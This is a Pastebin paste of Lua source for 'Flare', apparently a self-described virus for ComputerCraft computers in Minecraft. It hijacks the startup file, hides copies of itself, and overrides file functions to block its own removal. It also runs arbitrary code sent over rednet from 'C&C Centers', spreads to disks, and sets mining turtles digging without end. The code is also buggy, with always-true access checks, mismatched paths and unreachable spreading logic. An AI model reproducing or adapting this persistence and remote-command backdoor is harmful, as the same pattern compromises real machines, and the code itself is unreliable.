Advertisement
Alakazard12

Flare

Jan 1st, 2014
180
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.21 KB | None | 0 0
  1.  
  2.  
  3. os.pullEvent = os.pullEventRaw
  4.  
  5.  
  6.  
  7.  
  8. local flareConnect = false
  9. local flareAttack = false
  10. local currentModule = ""
  11. local fso = fs.open
  12. local fsd = fs.delete
  13. local fsm = fs.move
  14.  
  15.  
  16.  
  17. local cf = {".rom", "startup", ".rom/system", ".CC_Security", ".CC_Security/zal.dlt"}
  18.  
  19. --[[
  20. local socket1 = http.get("https://raw.github.com/FlareHAX0R/Computercraft/master/Flare/list")
  21. if socket1 then
  22.     SA=fso(".CC_Security/zal.dlt", "w")
  23.     SA.write( socket1.readAll() )
  24.     SA.close()
  25. end
  26. ]]--
  27.  
  28.  
  29.  
  30.  
  31.  
  32. fsd("startup")
  33. fsd("list")
  34. fsd("startup")
  35.  
  36.  
  37.  
  38.  
  39. fsd(".rom")
  40. fsd(".CC_Security")
  41. fs.makeDir(".rom")
  42. fs.makeDir(".CC_Security")
  43.  
  44.  
  45.  
  46. fs.copy( shell.getRunningProgram(), ".rom/system" )
  47.  
  48.  
  49. function fs.open( file, attr )   -- Make sure .system, virus backup files, and startup cannot be opened.
  50.     if file ~= cf[1] or cf [2] or cf[3] or cf [4] or cf[5] then
  51.         fso(file, attr)
  52.     else
  53.         error("Access denied.")
  54.     end
  55. end
  56.  
  57.  
  58. function fs.delete( file )   -- Make sure .system, virus backup files, and startup cannot be deleted.
  59.     if file ~= cf[1] or cf [2] or cf[3] or cf [4] or cf[5] then
  60.         fsd(file)
  61.     else
  62.         error("Access denied.")
  63.     end
  64. end
  65.  
  66.  
  67. function fs.move ( sFile, sDestination )  -- Make sure .system, virus backup files, and startup cannot be edited.
  68.     if sFile ~= cf[1] or cf [2] or cf[3] or cf [4] or cf[5] then
  69.         fsm(sFile, sDestination)
  70.     else
  71.         error("Access denied.")
  72.     end
  73. end
  74.  
  75.  
  76.  
  77.  
  78. for _, side in pairs( rs.getSides() ) do
  79.     if peripheral.getType() == "modem" then
  80.      rednet.open(side)
  81.      flareConnect = true
  82.  
  83.  
  84.     end
  85. end
  86.  
  87.  
  88. currentModule = "EUPHORIA"
  89.  
  90.  
  91.  
  92.  
  93.  
  94. local function Euphoria()
  95.     os.pullEvent = os.pullEventRaw
  96.     if term.isColor() then
  97.         term.setTextColor(colors.yellow)
  98.         print(os.version())
  99.         term.setTextColor(colors.white)
  100.     else
  101.         print(os.version())
  102.     end
  103.     while true do
  104.         if term.isColor() then
  105.             term.setTextColor(colors.yellow)
  106.         end
  107.         write("> ")
  108.         if term.isColor() then
  109.             term.setTextColor(colors.white)
  110.         end
  111.  
  112.         local program = io.read()
  113.         shell.run(program)
  114.     end
  115.  
  116.  
  117. end
  118.  
  119.  
  120. currentModule = "FLARE"
  121.  
  122.  
  123.  
  124.  
  125.  
  126. local function Flare() -- Main attack function, allowing spreading to disks and the FLARE protocol.
  127.     os.pullEvent = os.pullEventRaw
  128.     if flareConnect == true then
  129.      while true do
  130.         local id, mes = rednet.receive()
  131.         local event = os.pullEvent()
  132.         if mes then
  133.             if string.sub(mes, 1, 3) == "FLR" then -- Activate the Flare Protocol to allow REMOTE ADMINISTRATION from C&C Centers.
  134.                 mes = string.sub(mes, 4)
  135.                 local func, err = loadstring(mes) -- Load the string.
  136.                 if err == nil then
  137.                     local st, er = pcall(func) -- Stop erroring.
  138.                 end
  139.             end
  140.         end
  141.      end
  142.     end
  143.  
  144.         if event == "disk" then
  145.             fsd("disk/startup")
  146.             fs.copy(".system/system", "disk/startup")
  147.         end
  148.  
  149.         flareAttack = true
  150.  
  151.  
  152.     end
  153. end
  154.  
  155. --[[
  156. local function Frost()
  157.  while true do
  158.    
  159.  end
  160. end
  161. ]]--
  162.  
  163. local function Munch()
  164.  if turtle.dig then
  165.   while true do
  166.    if turtle.detect() == false then
  167.     turtle.dig()
  168.     turtle.forward()
  169.    else
  170.     turtle.turnRight()
  171.    end
  172.   end
  173.  end
  174. end
  175.    
  176.  
  177.  
  178.  
  179.  
  180. local RI = fso("startup", "w")
  181. RI.write('shell.run(".system/system")')
  182. RI.close()
  183.  
  184.  
  185.  
  186. while true do
  187.  parallel.waitForAny(Flare, Euphoria, Munch)
  188. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement